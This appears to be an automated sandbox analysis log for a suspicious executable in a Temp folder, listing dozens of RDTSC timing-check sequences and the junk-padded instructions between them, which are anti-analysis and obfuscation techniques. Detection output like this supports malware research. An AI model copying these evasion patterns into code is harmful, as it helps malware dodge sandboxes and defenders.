Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6385CC second address: 6385D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6385D2 second address: 6385D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 638701 second address: 638714 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBDh 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 638714 second address: 638718 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63C77C second address: 63C7B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F12E108FDCAh 0x0000000a jmp 00007F12E108FDBEh 0x0000000f je 00007F12E108FDB6h 0x00000015 pushad 0x00000016 jmp 00007F12E108FDC0h 0x0000001b ja 00007F12E108FDB6h 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63C32C second address: 63C331 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 63C331 second address: 63C337 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 64AD30 second address: 64AD36 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 64AD36 second address: 64AD3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 64AD3A second address: 64AD6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 jmp 00007F12E0FAFC7Dh 0x0000000e js 00007F12E0FAFC76h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 pop edi 0x00000018 jnp 00007F12E0FAFC8Ah 0x0000001e push eax 0x0000001f push edx 0x00000020 jl 00007F12E0FAFC76h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6505EC second address: 6505F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6505F1 second address: 650611 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC84h 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a pop edi 0x0000000b jl 00007F12E0FAFC76h 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6497EE second address: 6497FE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 je 00007F12E108FDB6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 65D9C7 second address: 65D9DD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F12E0FAFC80h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 65D9DD second address: 65D9F4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC1h 0x00000007 push eax 0x00000008 push edx 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 6768DC second address: 676903 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F12E0FAFC7Dh 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f pop edx 0x00000010 popad 0x00000011 jc 00007F12E0FAFC90h 0x00000017 push eax 0x00000018 push edx 0x00000019 jnc 00007F12E0FAFC76h 0x0000001f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676A6B second address: 676A6F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676B96 second address: 676B9B instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676B9B second address: 676BB6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F12E108FDC4h 0x0000000c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676BB6 second address: 676BC7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F12E0FAFC8Eh 0x0000000e push eax 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676BC7 second address: 676BD0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 push eax 0x00000006 push edx 0x00000007 push edx 0x00000008 pop edx 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 676BD0 second address: 676BD6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 677022 second address: 677035 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F12E108FDB6h 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c popad 0x0000000d pop ecx 0x0000000e push esi 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 678D85 second address: 678D89 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 678D89 second address: 678D9D instructions: 0x00000000 rdtsc 0x00000002 jo 00007F12E108FDB6h 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jnp 00007F12E108FDB6h 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 67B968 second address: 67B96C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 67F025 second address: 67F029 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 67F029 second address: 67F033 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB029C second address: 4BB02F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F12E108FDC6h 0x0000000f push eax 0x00000010 pushad 0x00000011 jmp 00007F12E108FDC1h 0x00000016 mov ebx, ecx 0x00000018 popad 0x00000019 xchg eax, ebp 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d call 00007F12E108FDC6h 0x00000022 pop esi 0x00000023 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB02F3 second address: 4BB0363 instructions: 0x00000000 rdtsc 0x00000002 mov ebx, 32BBAE16h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 call 00007F12E0FAFC87h 0x0000000e pushfd 0x0000000f jmp 00007F12E0FAFC88h 0x00000014 add al, 00000068h 0x00000017 jmp 00007F12E0FAFC7Bh 0x0000001c popfd 0x0000001d pop ecx 0x0000001e popad 0x0000001f mov ebp, esp 0x00000021 jmp 00007F12E0FAFC7Fh 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b jmp 00007F12E0FAFC80h 0x00000030 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0363 second address: 4BB0369 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0369 second address: 4BB037A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E0FAFC7Dh 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0029 second address: 4BA00D4 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F12E108FDC9h 0x00000008 add ch, 00000056h 0x0000000b jmp 00007F12E108FDC1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 pushfd 0x00000014 jmp 00007F12E108FDC0h 0x00000019 adc si, 4078h 0x0000001e jmp 00007F12E108FDBBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ebp 0x00000026 jmp 00007F12E108FDC6h 0x0000002b push eax 0x0000002c push eax 0x0000002d push edx 0x0000002e pushad 0x0000002f call 00007F12E108FDBCh 0x00000034 pop esi 0x00000035 pushfd 0x00000036 jmp 00007F12E108FDBBh 0x0000003b and eax, 0052E59Eh 0x00000041 jmp 00007F12E108FDC9h 0x00000046 popfd 0x00000047 popad 0x00000048 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA00D4 second address: 4BA00F0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA00F0 second address: 4BA00F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA00F4 second address: 4BA0107 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC7Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0107 second address: 4BA0175 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E108FDBFh 0x00000009 add si, 9D0Eh 0x0000000e jmp 00007F12E108FDC9h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F12E108FDC0h 0x0000001a and ecx, 2B03D388h 0x00000020 jmp 00007F12E108FDBBh 0x00000025 popfd 0x00000026 popad 0x00000027 pop edx 0x00000028 pop eax 0x00000029 mov ebp, esp 0x0000002b push eax 0x0000002c push edx 0x0000002d push eax 0x0000002e push edx 0x0000002f jmp 00007F12E108FDC0h 0x00000034 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0175 second address: 4BA017B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70108 second address: 4B7010E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B7010E second address: 4B7016A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC88h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov dl, 2Eh 0x0000000f popad 0x00000010 push eax 0x00000011 jmp 00007F12E0FAFC7Fh 0x00000016 xchg eax, ebp 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a pushfd 0x0000001b jmp 00007F12E0FAFC82h 0x00000020 or eax, 6E0BA778h 0x00000026 jmp 00007F12E0FAFC7Bh 0x0000002b popfd 0x0000002c rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B7016A second address: 4B70182 instructions: 0x00000000 rdtsc 0x00000002 mov ch, DEh 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F12E108FDBDh 0x00000010 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70182 second address: 4B701AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, ax 0x00000006 mov ax, 608Fh 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push dword ptr [ebp+04h] 0x00000010 jmp 00007F12E0FAFC82h 0x00000015 push dword ptr [ebp+0Ch] 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b movsx edi, si 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B70220 second address: 4B7023C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F12E108FDC8h 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B7023C second address: 4B70240 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B90E5D second address: 4B90E73 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, bx 0x00000006 movsx ebx, cx 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c xchg eax, ebp 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 push ebx 0x00000011 pop eax 0x00000012 mov ax, di 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B9085A second address: 4B90860 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B90860 second address: 4B908BF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a movsx edi, si 0x0000000d pushad 0x0000000e mov edx, esi 0x00000010 pushfd 0x00000011 jmp 00007F12E108FDBAh 0x00000016 add ecx, 40EC44F8h 0x0000001c jmp 00007F12E108FDBBh 0x00000021 popfd 0x00000022 popad 0x00000023 popad 0x00000024 xchg eax, ebp 0x00000025 jmp 00007F12E108FDC6h 0x0000002a mov ebp, esp 0x0000002c jmp 00007F12E108FDC0h 0x00000031 pop ebp 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 mov bx, ax 0x00000038 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA0448 second address: 4BA045D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BA045D second address: 4BA0505 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx ebx, ax 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c pushad 0x0000000d mov ch, EDh 0x0000000f mov eax, edi 0x00000011 popad 0x00000012 push eax 0x00000013 pushad 0x00000014 pushfd 0x00000015 jmp 00007F12E108FDC6h 0x0000001a adc ecx, 612817C8h 0x00000020 jmp 00007F12E108FDBBh 0x00000025 popfd 0x00000026 pushad 0x00000027 push esi 0x00000028 pop ebx 0x00000029 call 00007F12E108FDC2h 0x0000002e pop esi 0x0000002f popad 0x00000030 popad 0x00000031 xchg eax, ebp 0x00000032 pushad 0x00000033 mov di, 2572h 0x00000037 jmp 00007F12E108FDC3h 0x0000003c popad 0x0000003d mov ebp, esp 0x0000003f pushad 0x00000040 call 00007F12E108FDC4h 0x00000045 call 00007F12E108FDC2h 0x0000004a pop esi 0x0000004b pop edi 0x0000004c mov eax, 67F6B1E7h 0x00000051 popad 0x00000052 pop ebp 0x00000053 pushad 0x00000054 push eax 0x00000055 push edx 0x00000056 mov si, 7DF5h 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BE005C second address: 4BE00CF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E0FAFC81h 0x00000009 or ecx, 72D1C446h 0x0000000f jmp 00007F12E0FAFC81h 0x00000014 popfd 0x00000015 mov ax, 8EF7h 0x00000019 popad 0x0000001a pop edx 0x0000001b pop eax 0x0000001c xchg eax, ebp 0x0000001d pushad 0x0000001e pushad 0x0000001f mov si, AB85h 0x00000023 popad 0x00000024 push eax 0x00000025 push edx 0x00000026 pushfd 0x00000027 jmp 00007F12E0FAFC87h 0x0000002c sub cl, 0000002Eh 0x0000002f jmp 00007F12E0FAFC89h 0x00000034 popfd 0x00000035 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB073A second address: 4BB0791 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E108FDC1h 0x00000009 xor si, 05E6h 0x0000000e jmp 00007F12E108FDC1h 0x00000013 popfd 0x00000014 mov edi, esi 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, ebp 0x0000001a jmp 00007F12E108FDBAh 0x0000001f mov ebp, esp 0x00000021 push eax 0x00000022 push edx 0x00000023 jmp 00007F12E108FDC7h 0x00000028 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0791 second address: 4BB07E2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E0FAFC7Fh 0x00000009 xor ah, 0000007Eh 0x0000000c jmp 00007F12E0FAFC89h 0x00000011 popfd 0x00000012 movzx ecx, di 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 mov eax, dword ptr [ebp+08h] 0x0000001b push eax 0x0000001c push edx 0x0000001d jmp 00007F12E0FAFC86h 0x00000022 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B90783 second address: 4B907A0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B907A0 second address: 4B907A6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4B907A6 second address: 4B9080F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDC3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c jmp 00007F12E108FDC9h 0x00000011 xchg eax, ebp 0x00000012 pushad 0x00000013 pushfd 0x00000014 jmp 00007F12E108FDBCh 0x00000019 sbb cl, 00000078h 0x0000001c jmp 00007F12E108FDBBh 0x00000021 popfd 0x00000022 mov edx, eax 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F12E108FDC1h 0x0000002e rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0197 second address: 4BB019B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB019B second address: 4BB01A1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01A1 second address: 4BB01A7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01A7 second address: 4BB01C0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E108FDBCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01C0 second address: 4BB01C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01C4 second address: 4BB01CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01CA second address: 4BB01D0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01D0 second address: 4BB01D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01D4 second address: 4BB01D8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB01D8 second address: 4BB020F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F12E108FDC6h 0x00000012 or si, D668h 0x00000017 jmp 00007F12E108FDBBh 0x0000001c popfd 0x0000001d push eax 0x0000001e pop edi 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB020F second address: 4BB0215 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0215 second address: 4BB0219 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0219 second address: 4BB0228 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c mov al, bh 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB04AC second address: 4BB0579 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F12E108FDC1h 0x00000009 xor ax, EFE6h 0x0000000e jmp 00007F12E108FDC1h 0x00000013 popfd 0x00000014 pushfd 0x00000015 jmp 00007F12E108FDC0h 0x0000001a xor cl, FFFFFF88h 0x0000001d jmp 00007F12E108FDBBh 0x00000022 popfd 0x00000023 popad 0x00000024 pop edx 0x00000025 pop eax 0x00000026 xchg eax, ebp 0x00000027 pushad 0x00000028 pushfd 0x00000029 jmp 00007F12E108FDC4h 0x0000002e add si, E5E8h 0x00000033 jmp 00007F12E108FDBBh 0x00000038 popfd 0x00000039 pushfd 0x0000003a jmp 00007F12E108FDC8h 0x0000003f or esi, 4E717848h 0x00000045 jmp 00007F12E108FDBBh 0x0000004a popfd 0x0000004b popad 0x0000004c push eax 0x0000004d jmp 00007F12E108FDC9h 0x00000052 xchg eax, ebp 0x00000053 push eax 0x00000054 push edx 0x00000055 jmp 00007F12E108FDBDh 0x0000005a rdtsc
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	RDTSC instruction interceptor: First address: 4BB0579 second address: 4BB05FE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F12E0FAFC81h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebp, esp 0x0000000b pushad 0x0000000c pushad 0x0000000d mov eax, 2922EED9h 0x00000012 pushfd 0x00000013 jmp 00007F12E0FAFC86h 0x00000018 jmp 00007F12E0FAFC85h 0x0000001d popfd 0x0000001e popad 0x0000001f pushfd 0x00000020 jmp 00007F12E0FAFC80h 0x00000025 adc cl, FFFFFFC8h 0x00000028 jmp 00007F12E0FAFC7Bh 0x0000002d popfd 0x0000002e popad 0x0000002f pop ebp 0x00000030 push eax 0x00000031 push edx 0x00000032 jmp 00007F12E0FAFC85h 0x00000037 rdtsc
